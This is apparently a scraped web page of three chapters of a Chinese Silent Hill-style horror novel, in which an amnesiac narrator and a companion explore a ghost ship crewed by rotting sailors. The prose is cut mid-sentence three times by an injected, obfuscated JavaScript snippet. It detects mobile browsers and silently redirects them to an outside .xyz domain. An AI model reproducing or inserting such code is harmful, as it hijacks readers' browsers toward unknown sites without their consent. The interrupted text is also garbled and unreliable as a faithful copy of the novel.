“放心吧,我喝不醉。”他指了指自己的鼻子,“先天性酒精免疫,乙醛脱氢酶和乙醇脱氢酶活性过高,千杯不醉。” 我惊讶:“真的?” “假的。”他笑了笑,“我的养父是一个沉迷于酗酒混蛋,他深爱自己的妹妹,却又悲哀于对方妹妹的身份。每当他悲从中来的时候,就让我陪他喝酒,一杯又一杯,一旦我在他之前有了醉意就开始殴打我,持续了好几年,我都从一开始的一杯倒练成千杯不醉了。” 他的笑容刺地我眼睛疼,笑容分为很多种,开心的伤心的悲哀的,但他那种都不是,而是单纯的麻木。 我扯开话题,“你既然知道寂静岭很危险,那你为什么来这里,要是一不小心死了,得不偿失。” “怎么会。”尤克斯摊开双臂面带微笑:“遗忘是幸福,死亡是救赎。要是我真的能在这个鬼地方死掉……” 我毫不客气地打断他:“歪理。” 他愣了愣。 到目前为止我才发现真正的尤克斯与我印象中的不一样,也和接受记者采访时展现在大众眼前的尤克斯不一样。谁能想到在作品中拼尽全力呐喊向死而生的勇敢者竟然是个一心求死的家伙。 我的幻想破灭了,我很悲伤。我感觉自己被骗了。 于是我怀揣着这样悲伤的心情又岔开话题,“既然你去不了上面那就只能我去了。” 我站了起来,因为脑袋受伤缺血再加上久坐导致大脑供血不足,我眩晕了一下,扶住椅背才站稳。眼前清明后第一眼看到的就是尤克斯伸过来准备接我的手,但见我恢复便收了回去。 “确实,不能因为我一直呆在船舱里。”他说,“那么,上面交给你,这里交给我。” “没问题。”我应声。 我准备走了,尤克斯嘱咐道:“小心点。” “这个?”我点了点被纱布包裹着的脑门,“破了点皮,没大碍……” “我不是指这个。” 我疑惑地看他,尤克斯语气严肃,“虽然目前为止你的噩梦还没有出现,但不能抱任何侥幸心理。它会想尽办法杀死你,它与你将永远对立。” 脑海里闪过三角头的身影,以及那把寒光四射的屠刀。 “放心吧。”我笑了笑,“我和你一样不止一次来到这个世界,换句话说,我也在寻找窄门。” 23. 第 23 章 甲板上除了海水和灯光外什么都没有。帆船似乎驶入了一个类似于山洞的地方,我看到船身外不再是漆黑而是变得有棱有角起来,像是属于岩墙的凹凸不平。 山洞里面的水流也很缓,我感受到帆船在行驶时变得平稳不少,不再摇晃地那么剧烈。但取而代之的是彻骨的阴寒。 我呼出一口白色雾气,看着它向上盘旋升起直至消失不见。 好冷。 山洞里面温度会降低这点我知道,却想不到会这么冷,好像进入了飘着鹅毛大雪的冬天。我所居住的城市冬天算不上很冷,甚至可以说四季如春,但不知道为什么我总认为冬天应该是冷到极致。落下的雪能把人埋起来,迎面而来的风比刀还要割人。 特别是冬日里的铁栏杆,摸上去的时候像火那样烫人。 我没有去驾驶舱,而是顺着爬梯上了瞭望台。甲板上除了靠近船沿的地方我都去过了,而且船沿又没什么遮挡物,远远观望一眼就行。 通向瞭望台的铁爬梯上也全是锈斑,手只是轻轻摸了一下,手心就变得乌漆麻黑,凑近一闻还能闻见锈味。铁锈的味道和血腥味有点像,只是少了点那种……生命腐败的臭味,我不自觉干呕了一下。 我不喜欢这种味道。 瞭望台的空间很小,只能站的下一个人。幸好我身形消瘦,要不然估计连转身都困难。难怪那些电影里的海盗大多数细条高个。说到身形消瘦,我想起来记忆的最前头,也就是刚刚有了认知意识那段时间,病院给我做过一次身体检查,检测出来我营养不良。 营养不良……明明我挺能吃的,居然营养不良。 我仰起头,能看到洞穴顶端从眼前掠过。这个瞭望台很特别,处于桅杆的最顶端,因此伸手就能触摸到洞穴顶端的岩石。触感粗糙,甚至有些凸起的尖锐角割手,很冰凉,如果忽视它作为岩墙的存在,我几乎以为这是一大块冰。 虽然指腹被这粗糙触感摩擦地很疼,我却上瘾般地没能放下手。至于为什么……我想了很久才得出一个结论——疼痛能够带来真实感。 在寂静岭的表里世界中来回穿梭,如同梦境一般虚幻,我有时候无法分辨那些是真实哪些是虚假,等清醒过后才意识到一切都是真实发生的,无论是被小狗啃食着的死去博格纳,还是无法言语的无脸人和船长,亦或是血腥残暴的三角头以及一直以来生活在我的幻想中,只能通过黑纸白字了解片面的尤克斯。 都是真的。 我呼出一口白雾。正打算放下手臂的时候,洞穴到达的尽头,然后眼前所看的一幕令我瞪大双眼。我看到洞穴上方站着三角头,他垂着脑袋而我仰着头,如果忽略两者间的距离话,几乎是面对面,我的呼吸瞬间急促,下意识后腿…… 可我忘了这里是瞭望台,周围的防护栏杆仅到腰部位置,我差点腰抵着栏杆后仰翻过去,手用力抓着边上的麻绳,指甲紧紧扣在其中还,这才稳住身形。 我死死盯着那个身影,随着船的驶离,那个身影也逐渐远去…… 突然! 他曲起膝盖奋力一跳,我的瞳孔猛然缩小,视线跟随着他逐渐下移…… 水花四溅,他掉到了海里,随后又一个小水花溅起,是他的刀。 …… 什么鬼玩意,虚惊一场,我还以为他要跳到船上呢。我松了口气。 我顺着爬梯回到甲板上。瞭望台的高度足以看清整艘船的布局,从头到尾。我也再次确定了这艘船并不算大,因为我害怕海,所以从来都没有靠近过船边,也没有通过走动测量它的真实长度,但我可以确定的是,哪怕从头走到尾为不超过五分钟后的时间。 船整体偏向复古,前甲板和后甲板之间有一片凹陷,并有两个外露式的舱室,一大一小,前者靠近前甲板后者靠近后甲板。前者是驾驶室,但通往驾驶室需要上楼梯,驾驶室下方的一楼我还不知道是怎样的,回忆起我刚来到船上时所在的满是啤酒瓶的房间,我有些怀疑就在那里面。 当时在甲板上我在船舱外摸索好久都没有找到一楼房间的门,我当时又是如何出来的?百思不得其解。 我又去了驾驶室。打开门后,船长仍然坐在驾驶位上。位子旁多了一艘用纸折出来的小船,明显是随意扔下去的,纸船侧倒在地上,船头有些瘪。 “我有些问题想要询问你。”我说。 他向我招了招手,我走上前去。 我问:“请问,这艘船有没有一个船舱里面全是空的啤酒瓶?” 「你问这个干什么?」 “……你问过我是怎么来到这里的,我初次来到这里的时候,就是在那个满是啤酒瓶的船舱里。” 「这艘船的水手都不喝酒,当然也可能是以前的船主人留下的。他是个酒鬼。船就那么大,既然你的记忆中有那么一个房间,那就代表存在,四处走一走总能找到。」 问了等于没问,本想从啤酒瓶舱入手,却没想到什么也没能从船长的嘴里得到。不知道他是真不知道还是假不知道,如果是后者……他有什么瞒着我的必要吗,作为一个外来人员,肩不能抗手不能提的,既不能当苦力也创造不出价值,底下的尤克斯还在疯狂消耗食物和酒水,他应该巴不得我们快走的好。 ……除非,我们能给他带来好处。但能带来什么呢?当储备粮还是和偶遇的船只用来交换物品? 算了,越想脑袋越乱。 我又被便签纸上他的字迹吸引走了注意力。果然很像。无脸人的字迹凌厉飘逸,他也是。飘逸的字写在小小的便签纸上,就像被困在笼子里的鸟儿,尽可能地张开翅膀,但是却被铁笼子囚禁在一方之地。 「怎么了?」也许是我看的太久了,他写道。 “没什么。”我连忙摇了摇头,“只是你的字很漂亮,而且和我认识的某个人很像……” 我问了个一听就居心不良的蠢问题,“我们以前见过吗?” 他丝毫不犹豫,[没有。] “可能是我弄错了。”我尴尬地无地自容,但转念一想,这里是里世界,一切都和现实世界无关。 我又重新振作起来,朝他礼貌地点了点头,“那抱歉。” 关上门,我叹了口气。既然没能问出什么,那就自己再四处转转。刚迈出一步,我就脚步一顿。刚才船长说什么? ——这艘船的水手都不喝酒。 水手? 可我到现在……一个人也没有看到啊。 突然,我听到了铃铛的声音,抬头一看,某一桅杆上竟然有一个拳头大小,铜色但表面掉漆的铃铛,正叮铃铃作响。铃铛不大,声音却很响亮,震荡着我的鼓膜,感觉心脏都随之振动。 紧接着,舱门开了,一群水手模样的家伙们走了出来。我的全身心都关注在这些穿着破烂的水手们身上,身体甚至不敢动弹,以至于等他们靠近,才闻到一股难以言喻的恶臭。 腐臭。 最前方的水手走出阴影来到灯光下,我看到被枯槁似的长发和破烂衣物掩盖下的身躯腐烂,皮肉像水一样几乎化掉,只留下星星点点挂在灰白色的骨头上。 简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988177|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直就是怪物。那么多水手,船身又这么小,我能去哪里,难不成跳进海里。比起看不清真实面貌的海洋,我宁愿呆在全是腐尸水手的船上,至少能弄明白自己是怎么死的。 正打算与他们拼个鱼死网破,一具水手缓慢从我的身边挪动过去,像是没看见我一样,头都没有偏一下。我愣了愣。 其他水手也和他一样,爬桅杆的爬桅杆,扬帆的扬帆,总之该干什么就干什么,我的存在并没有引起他们之中任何一个的注意。 我观察了他们一会,见没有危险,缓慢地朝后舱的方向后退几步,然后转身快速跑进去。 因为没有刻意放慢脚步,声音很响,除了生锈老旧发出的咯吱声外,还有脚踏在铁质台阶上的咚咚咚声,在昏暗的船舱里回荡。 我顺着楼梯一路向下没有停留,直到到达底层,也就是第二层。其实往下还有一层,但都是用来保证船身平衡而放置的重物。我和尤克斯前去探查过,并没有任何出去的路,也没有任何具有利用价值的事物。 尤克斯还呆在那个狭小的宿舍里。水手们日常生活恐怕很压抑,宿舍在这种不见天日的地方,哪怕出了船舱去甲板上透气,看到的都是一望无际的海洋。虽然海洋是最初的故乡,但永远比不过出生长大的陆地。 有时候我很好奇,能够一辈子呆在船上的人心理环境究竟是怎样的? 船就像一座孤岛,与世隔绝,能够一辈子呆在这里却不疯的人,就是天生孤独的享受者,又或者……可悲的社会化不足症患者,就像被狼抚养长大的孩子,野性和暴力将伴随其一生。 比起我的紧张,尤克斯惬意的很,左手端着酒杯右手举着不知道从哪里搜刮来的水手专用黑面包。他的食欲真的很好,从各个方面来说都是,不仅能够吃下难以下咽的黑面包,而且在如此紧张高压的环境下仍然能不停歇地进食,我甚至怀疑他过去是不是经常饥一顿饱一顿才造就了如今这样。 尤克斯将手中剩余的一口面包全部塞进嘴里,腮帮子鼓动了好几下,然后就着颜色浑浊的酒往下咽,吞咽的过程表情微变,嘴唇抿成一条直线眼睛眯起,我怀疑他快被噎死了。 “你在船舱里有没有看到一些奇怪的东西?”我问。 “什么?” “水手。”我说,手揪了揪头发又拽了拽衣角,“穿着破破烂烂的水手服装,面容腐烂骨骼外露,看上去像是从坟墓里爬出来的尸体。” 他脸色疑惑甚至带着点迷茫,“没有。” 他早已没有,被甲板上我无法看见的,只属于他的世界的怪物惊吓的痕迹。酒精和饱腹感能够使人变得温和,尤克斯此时此刻浑身上下透漏出一种攻击欲望极为低下的状态,要不是我能感觉到船身的摇晃,我都快怀疑他所处的环境不是这艘诡异的鬼船,而是某个优雅的餐厅。 “怎么了?”他放下几乎空了的酒杯。 我将所看到的一切一五一十地全部都告诉了他。尤克斯越听眉头越紧,等到我叙述完一切喘气的时候,他严肃道:“那恐怕是属于你世界的怪物。你怎么样,受伤了?” “没有。”我说,“它们甚至连一个眼神都不分给我,就像我不存在一样。” 他愣了,“没有攻击性?……这不可能。” 尤克斯陷入了长久的沉默,食指横放在上唇,眉头紧皱。我将两条胳膊搭在桌面上,倾斜身子:“难道……不应该吗?” “不是不应该。”他深吸了一口气:“我只是觉得奇怪而已。毕竟在我的眼里,我世界里的怪物恨不得将我撕成碎片。” 24. 第 24 章 尤克斯百思不得其解,但我知道原因,我不想死,我想活。 我又告诉了尤克斯那间啤酒瓶船舱。他听后沉默了一会,才说:“所以我们不得不去甲板上?” “恐怕是的。”我说。 他的上下唇抿成一条直线,哪怕什么都不说我也明白他在抗拒。我真的很好奇他到底看到了什么,居然会恐惧成那副模样。我想了想那些腐烂尸体一般的水手,恐怕不会比它们更可怕了吧,如果有……那我只能惊叹。 当然我也很好奇,尤克斯眼中的里世界是怎么样的。据他所说里世界与内心世界有关,所出现的一切场景和怪物都是内心反馈,我每一次进入里世界以后,所看到的所遇到的不会都是内心的映射。 难道都会和我的记忆有关?我不自觉兴奋起来。兴奋之余,我也有些疑惑,如果真是这样……那无脸人算什么,三角头算什么,衣柜里那个有生命的假人人偶又算什么? 他们看上去都是独立的个体,人格完整,他们真的和我存在链接或者是我的内心真实反应? 当然,对于三角头,我不太相信他是,毕竟由我而生的东西怎么会想着除掉我,一旦我死了,他也会伴随我消亡,没活着的可能。 谁会想方设法追杀自己啊,又不是精神病,太可笑了。 我叹了口气,“这样吧,和之前一样,我继续去上面找线索,等有消息了再下来通知你。” 尤克斯的脑袋垂的很低,两只手交叉握在一起,“……那麻烦你了。” . 自从船帆扬起以后,帆船前进的速度快了不少,我站在甲板上能够感觉到风扑在脸上。水手们拖着残破的身躯四处行走,我看到一个大胡子水手,左眼似乎瞎了用眼罩罩着,可他的眼睛早就已经腐烂了,眼眶空荡荡,连带着单薄的灰色眼罩也凹陷进去。 大胡子水手怀里抱着一个木箱子,因为离得远,我看不到箱子里是什么。他慢悠悠地走了几步,纤细的只剩骨头的脚踝发出咔哒一声,错位了。大胡子平地面朝下摔倒在地,木箱子也随之飞了出去,狠狠地砸在甲板上。 木箱子很脆弱,木条瞬间分裂开,空酒瓶滚了一地。其实这些酒瓶一开始并不是空的,只是全被尤克斯喝完了而已。 他实在太能喝了。 一瓶空酒瓶滚到我的脚边,碰到鞋子侧面后才停下。我太抬头看向那个可怜的老水手,因为那一跤,原本摇摇欲坠的身体彻底碎裂开,灰白色带着泛黑腐肉的骨头蹦的到处都是,只剩下一颗头留在原地。 他没有嘴唇和舌头的嘴巴张张合合,可什么声音也发不出来。一般骷髅头的嘴巴里上下牙齿撞击会发出声音,可他连牙齿都没有。 我原本不想管他的,可他虽然肢体分离,但那些骨头像是还有神经连在上面一样,不停地原地跳动。没办法,我只好一点点帮他把散落各处碎骨头踢回去。 可骨头聚在一起后却没有自动复原,而是继续原地弹跳。骨头们成堆在一起,弹跳时带动着其他弹跳着的骨头,远远看上去就像在放烟花,噼里啪啦。 拼图本来就不是我擅长的领域,更别提拼凑成人大小的骨骼。周围那些水手们被吸引了注意,有的甚至拖动着不协调的四肢朝这里走来。 我不想被包围,打算躲开,可通向后舱的路被几个高大驼背的水手堵了个严严实实。我换了个方向,准备去驾驶室躲一会,等水手们都走了再出来。 其实我对驾驶室并不反感,或者说,对坐在里面的人并不反感。甚至我觉得,在离开这个世界前能多来几次也不错。 上楼梯的脚步一顿,我瞪大双眼。我在想些什么,简直疯了。 生锈的铁门开启又合上,我背靠着冰凉的门站立,为了省力气,我把全身都靠在门上面了,只有脚稍微吃点力支撑身体,以防顺着门一屁股滑坐到地上。 “我来躲一躲。”我实话实说,“那些水手把路都堵上了。等他们一离开就走,我保证。” 船长没有反应,只看背部也看不出些什么,我干脆认为他默许了我。 过了好一会,我轻轻将门拉开一条缝,楼梯下方围在一起的水手们不见了,散了架的大胡子独眼水手也失去踪影,但酒瓶子们没有被捡走,就那样大大咧咧地扔在甲板上,随着船身的摇晃到处滚动。酒瓶子不捡,要是一不小心踩上去怎么办,船上的水手都是骷髅架子,和玻璃人一样脆弱。 不过既然他们都走了,那我也没有继续呆在驾驶室里的必要。 我准备离开,将铁门推到最大弧度,背部抵到后面的墙壁,我刚准备迈开腿踏上外面铁栏制的楼梯台面,脚就一顿。 如果猜想正确,里世界中我所遇到的一切都是内心的映射,那……我转过身看向室内尽头坐在驾驶位上的身影。他和无脸人有关联吗,或者说,船长就是无脸人。 “请问你有没有见过一个,穿着西装脸上贴有一张纸,白纸上画着张笑脸。”我说。 我又补充道:“不为什么原因,只是单纯的像了解一下而已,如果能知道最好,不知道也没关系……” 船长背对着我摇了摇头。我微微抿了下唇,“这样啊……那谢谢。” 心里不知道什么感受,我只知道今后没有在看到无脸人的可能。但换个角度也是一件好事,至少我不用再进入那个该死的世界了。目前这个世界也好不到哪去,至少不用动不动泡进水里,还一丁点光亮都没有。 光可是个好东西,要是没有,那和被关在棺材里有什么区别。 虽然无脸人帮了我不少忙,但他从一开始隐瞒了我红门的存在,这让我吃了不少苦头。他直到最后的最后才揭露红门存在,一方面是三角头近在咫尺,我再不走就要被砍死了,况且他是冲我来的,我走了他说不准也会跟着离开,无脸人能捡回一条命,另一方面…… 我想起离开时他写的几行歪曲的字迹—— 遗忘是幸事。 他怎么知道我失忆了?也对,他是存在于我内心世界的。他告诉这句话意思不就是让我保持记忆缺失的状态,因为遗忘是幸事。 到底是不是幸事我不知道,但没有记忆我不仅对不起自己还对不起姐姐。 姐姐是爱我的,我不想让她失望。至少在下一次见面之前,能想起过去的点滴就足够了。记忆承载感情,没有记忆我就永远不是姐姐的妹妹,永远只是一个可悲的孤独的精神病患者。 “还有一件事。”我说:“我找不到来时的路了,那间装满啤酒瓶的船舱我无论如何都找不到。这里有没有这艘船的大致图纸,类似于地图的那种,或者船长你知不知道离开的办法?” 我一股脑子现在困扰的问题全说了出来。其实我并不指望他能给我一个满意的答复,就像无脸人,船长极有可能和他一样会对我进行隐瞒,但不会置我于死地。 当然只是猜想而已。里世界既然是我内心的映射那也一定反应了我的许多真实想法,我不想死,也没有任何的自毁倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988178|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向。 只要想清楚这点,一切都变得轻松了。我不想死,里世界我的内心映射也不想死,只有我活着里世界才能够存在,所以船长百分之百不会害我,听他的准没错。 船长只听到我的问题后先是无动无衷,片刻后才提笔在便签纸上写了什么。写完后他示意我来拿。 便签纸上只有几行字。 月亮在海里,海里的月亮在天上。 我以为自己看错了,从头又看了一遍。月亮?整个世界都是乌漆麻黑的纯墨色,船以外的地方比虚空还要恐怖,哪里能看到月亮。 “月亮?”我问:“看到月亮就能找到路?” 他点了点头。我恍然大悟,原来如此。可面临的问题从一而终,月亮呢,月亮在哪里? 我又问:“月亮什么时候会出现?” 他摇了摇头,写着:[我没有见过月亮。] 我抬头看了看“天”,黑到极致,月亮都被浓雾遮的严严实实,这艘船的船长在海上漂了这么久都没能见到过,我需要等到什么时候月亮才会现身。 “还有别的办法吗?”我等不了那么久。月亮不是属于我的,这个世界也单单只是我的内心隐射而已,我无法操控它,就像它拿我无可奈何一样。 可他回答:[没有。] 没有其他的办法,只能等待月亮,要么我继续不死心地去寻找那间酒瓶子船舱。可就目前来看,前者的可能性几乎为零,后者的可能性也约等于零。 我深深地叹了口气,“谢谢。” . “月亮?” “是,月亮。” 煤油灯被挂在门旁边的挂钩上,灯罩子因为时间久远泛黄,里面的火光透过灯罩子将后方的墙壁照出一片橙黄色。 我将便签纸放在桌子上,“我之前和你提过驾驶室里的那个船长吧,这就是他给我的线索。” 尤克斯放下酒杯,伸头去看,“月亮在海里,海里的月亮在……” 他皱紧眉头,“简直就谜语,你确定他的话能信?” “至少得尝试尝试,不是吗?况且目前没有别的线索了,我们总不能坐以待毙吧。”我说。 尤克斯难以察觉的点了点头,将杯子里的酒一饮而尽,然后转身去拿放在桌沿凹槽里的酒瓶,结果瓶子里面是空的。他抹了把脸,一副烦躁的模样。 “我劝你别喝了。”我皱眉:“酒精不是个好东西,在这种环境下被麻痹大脑不是个好选择。你没发现自从来到这里以后,你的状态越来越不对了吗?” 他趴在桌子上:“我状态不对不是因为酒,单纯的因为目前所在的里世界而已。每一次进入里世界都让我感觉到痛苦,好像内脏被挖出来一一摆在眼前让我过目。太恶心了……” “但你好像不怎么受影响。”他偏过头,从脑门与臂弯的缝隙里看我,“你的状态甚至你在外面的时候还要好。” 我不太相信:“有吗?” “有,可以说是精力过于旺盛。” 我真的很想翻白眼。 精力旺盛,他只一句“”在甲板上看到了可怕的东西”就赖在船舱里除了喝酒就是喝酒,我跑前跑后连关心的问候语都没有收到,反倒被安上了“精力旺盛”的标签。 我深吸一口气,手按算不上牢固的桌子站起来,咬牙切齿道:“随你怎么想,但我只是为了能够出去的努力而已。接下来希望你别再赖在船舱里,而是和我一起去甲板上找出路。” 25. 第 25 章 尤克斯没有拒绝,我非常感谢他识时务的举动,否则我哪怕赶都要把他从这该死的船舱里赶出去。 顺便,我也和他验证了一下自己猜想。我问他里世界里的怪物是不是我自身所化,换句话说,都是我自己。我很期待答案,但究竟是期待肯定还是否认,这我没法确定。我只是对于自己能够和无脸人以及船长产生连接一事感到高兴而已,就像在发现失忆前小狗和我密不可分的主仆链接,以及姐姐和我之前的亲缘关系一样。 我不再是一个可悲的孤独者,每天一个人坐在病床上看太阳升起落下,然后再度过无数个无法入眠的冰冷深夜。 夜晚很黑,深不见底。 尤克斯似乎对如何回答我的问题很是纠结,“可以说是,也可以说不是……” 他的眉头拧在一起,“如果问我的感受,那肯定不是,因为我很清醒地明白那些是真实的梦魔,会夺我性命的那种。但是在我来到寂静岭之前,所了解到的情报中,也存在里世界的怪物是本人的化身这种说辞。” “可能,因人而异吧。”他斟酌道。 我大概了解了。我回忆与无脸人的种种回忆,可我没有过往的记忆,我连自己是的真实面貌都不清楚,又怎么能够明白他们究竟是否为自己的化身。 距离甲板只有一扇门之隔,我能感觉到尤克斯呼吸开始变得粗重。煤油灯的微光照亮他的脸,有密集细小的汗珠遍布在上面。他的手撑在门上,却始终无法狠下心推开面对门外的一切。 我提着灯,“我很奇怪,究竟是什么能让你怕成这样。” 他肩膀猛地一抖,还想是被我的突然出声吓到了。他回过头,声音飘忽不定甚至发虚,“我的父亲……他浑身浴火,尖叫着让我去死。” “他明明死了这么久,我却仍然在恐惧他,我害怕这么多来的一切都是场梦,说不定一睁眼我就又回到了那个冰冷的地下室里。”他苦笑道:“我也很好奇,你为什么能这么冷静,里世界的一切都是内心深处最真实的恐惧,你却……” “也许因为没有记忆。”我耸了耸肩,“我什么都记不得,哪怕过去发生了天大的悲剧,不记得就是不记得,自然也不会害怕。当然这也是我来寂静岭的原因,我要找记忆。” 尤克斯听后脸上漏露出一种我看不懂的表情,“你不该来的,遗忘是幸事,你在自讨苦吃。” 在与我简单交谈后,他变得镇定了很多,倒没有像刚才那样又是发抖又是冒冷汗。 尤克斯伸舌头舔了一下上唇,使力推开了门。光照了进来,煤油灯都显得黯淡了许多。船上没有煤油,没法补充燃料,现在有了免费的光,为了节省我掀开玻璃灯罩子,鼓起腮帮吹灭了里面跃动的火焰。 尤克斯喃喃自语:“不在了……”然后他如释重负一般走了出去。 我走到他的身侧站立,用余光观察。尤克斯的目光扫过不远处的水手时没有任何反应。他看不见。 这就奇怪了,水手确实是属于我的里世界的东西,但为什么我的心理世界会出现水手,我既没乘坐过有水手的船,也没有在海上漂泊过。 尤克斯抬头看天,“没有月亮。” “我在船舱外那么久也没有见到过一次月亮。”我无奈道:“船长欺骗我的可能性不大,我们确实能借助月亮这个关键点出去。但就目前来我们面临的问题是,月亮要是一直躲着不出现,那我们就没有任何出去的可能。” “那......你和我说过的,那间船舱呢?” “找不到了。”我说。 “好吧。”尤克斯蹲了下去,背贴在墙上,半蹲半靠。我也学着他蹲下来,他这样的方式很省力,分担了腿脚一部分压力,让双腿不至于被压疼乃至发麻。 一个水手晃晃悠悠地路过,影子被灯光拉的很长。我们两个没有影子,因为所蹲着的位置上方正好有一块类似于屋檐突出,把头顶撒下来的灯光遮的严严实实。我听到“嚓”的一声,紧接着是火光。 尤克斯点着了一根火柴,将火往嘴巴里叼着的烟上送。烟被点着了,烟草冒出一瞬的火光,然后由棕变黑并伴随着星星点点的红光。他吐出一口烟雾,见我盯着他看,没有丝毫顾忌地回视。 瞧他抽烟时熟练的模样,简直是个老烟枪。他今年才多大?二十四还是二十五?总之比我大不了几岁,也差不了多少,可以称得上是同龄人。瞧他那副老气横秋的做派,完全看不出来。 我不可思议:“你究竟怎么回事,不仅是个酒鬼还是个烟鬼。” 他深吸一口烟,香烟上那条显眼的分界线瞬间后移。“说得好像很了解我一样。”说话时烟雾很自然的从鼻腔和嘴巴里冒出来,为了避免烟灰掉在身上,叼着烟的手搭在膝盖上向前伸,“我的习惯本来就不好,这是被我养父传染的,他是个坏父亲。” “那你没想过改掉吗?” “改不掉。”他说:“当你从小在沼泽里里长大,那股腐烂和恶臭就会深入皮肤,这辈子都洗不掉。况且酒精和尼古丁能带给我安心,让我不再时不时发疯,使现在的家庭和睦,何乐而不为呢?” 我喃喃自语:“完全不一样,你好像一块藏在水里面的石头,露出来的部分光鲜亮丽,实际上烂透了。” 尤克斯不着痕迹地皱了皱眉毛,“抽烟喝酒就是烂透了?你说话真有意思,搞得好像很了解我一样,结果我只是喝几杯酒抽了支烟就像幻想破灭......” 他顿了顿,半起身子,恍然大悟般: “你是我的粉丝?” ........ 我冷漠回应:“不是。” “哦。”他有一屁股蹲坐了回去,继续抽烟。 空气陷入了片刻的冷静,直到我再次开口:“我是一名写手,专门为杂志和报纸攥写文章,有时候偶然翻开报纸,也许其中的某一篇就出自我的手。不过我现在已经不写那些杂七杂八的东西了,而是开始负责一些专栏。” “——比如你,尤克斯·伊利亚特。” 我将额前的碎发抹到脑后,无论是眼神还是语气都充满着无奈,“报社让我写一篇关于你的专栏,关于尤克斯·伊利亚特如何涅磐重生,打破笼罩在心上的阴霾,微笑迎接新的人生。报社旨意想要通过你书写人与人之间的温馨,并向和你拥有同样遭遇的孩子传递勇气和温暖......” “作为这样一片文章的主人公,形象必须要是正面的。”我手撑着额头,“不是说一点缺点都不能有,至少不能是个酒鬼烟鬼.......” 我用力一拍脑门,“该死的,原本这篇文章就难写。” 尤克斯不动声色地把烟掐了,“你可以直接隐去这部分,只写正面......或者添油加醋一番,反正写作这种东西具有很强主观性,阅读也是。我是怎样的形象还不是由你的笔来塑造,况且我平时在记者面前装的还不够阳光吗,照葫芦画瓢就行。大众想要的是一个拥有正面向导的尤克斯·伊利亚特,那你就写一个积极乐观的尤克斯,当原本阴暗恶心的我装作不存在就好了。” “看你这样子,我甚至有些好笑。”尤克斯说:“没想到居然还会有人因为我的真面目而崩溃,我早就接受这样的自己了,否则也不会来寂静岭.......” “那你为什么还会恐惧里世界的怪物,他们不都是你的内心具象化吗?”我问。 “我......” “所以你根本没有接受自己,要是你早就看开了也不会来寂静岭寻求救赎。”我继续道:“你一个无神论者居然会听信窄门这一说,而大费周章地跑来这个地方就已经很能说明问题了。” 尤克斯闭了嘴,他好像生气了,面色铁青。过了一会他站起来,“总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988179|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从你的嘴里听到什么船长,带我去见见他吧,正好让我也判断一下他是否满嘴谎言。” 靠近地面的墙跟有些脏,他拍了拍后背:“月亮是出路.....太荒唐了,谁知道是真是假。” . 尤克斯没有来过驾驶室,在我站在楼梯最上方向他招手的时候,他深吸了一口气,非常艰难地迈开腿踏上第一级台阶。这一个简单的动作好像要了他的命。 自大胡子水手被摔碎了以后,搬箱子的人又换了一个,看上去是个年轻的小伙子,虽然仍然步履蹒跚,但有一种浑身都是力气的错觉。直到那小伙子搬到第三趟箱子的时候,尤克斯才爬上这座算不上高的楼梯。 我手搭在生锈的把手上,“需要休息一下吗?” “这倒不用。”尤克斯笑了笑,“你别再讽刺我了。” 我说:“我可没讽刺你。不过你可以放心,驾驶室里面没有可怕的怪物。” 他摊手:“为什么?你又看不见。” 我点了点太阳穴,半开玩笑边道: “直觉。” 尤克斯满脸不信。我打开门,朝坐在驾位上的船长说:“不好意思,打扰了。这位是我之前提到的同行人,尤克斯,我们......” “你在和谁说话?” 我嘴角的笑容僵住了,微微侧过头,看到满脸写着无法理解的尤克斯。他面向我,朝着船长......不对,应该是驾驶位伸出手,“你,在自言自语?” 坐在驾驶位上的船长此时也扭过头来,我能看到他的半张侧脸。 我眨了眨眼睛,在两者之间来回张望了一遍后,问:“你看不见?” “那是你世界的怪物。”尤克斯手插腰,闭着眼睛摇了摇头,“你居然会听信自己世界里怪物的话,是担心自己死的还不够快吗?” “......简直疯了。”他反手带上门,扬长而去。 “等等!”我想喊住他,可他已经离开了,把我独自留在驾驶室里。 我紧咬着下唇,转身看向后方坐在椅子上一动不动的绷带人。 在尤克斯点出这件事后,我虽然有些惊讶但不至于惊愕不已。我已经有一些预料到了。但哪怕清楚知晓船长是属于我的里世界怪物,但我还是对他提起不了一星半点的反感,真的很奇怪。其实想一想,毕竟他和无脸人都是我内心世界的具象化,所以彼此相像也很正常,只是我真的不理解为什么我的内心具象化的模样是这样的,顶着一张假笑脸的家伙,浑身绑着绷带的家伙,和过去的我存在什么关联吗? 不过,既然如此他应该也对三角头比较了解,三角头是个特殊的存在,我前脚每到一个地方他后脚都能赶来,他有可能不止对我一人如此。 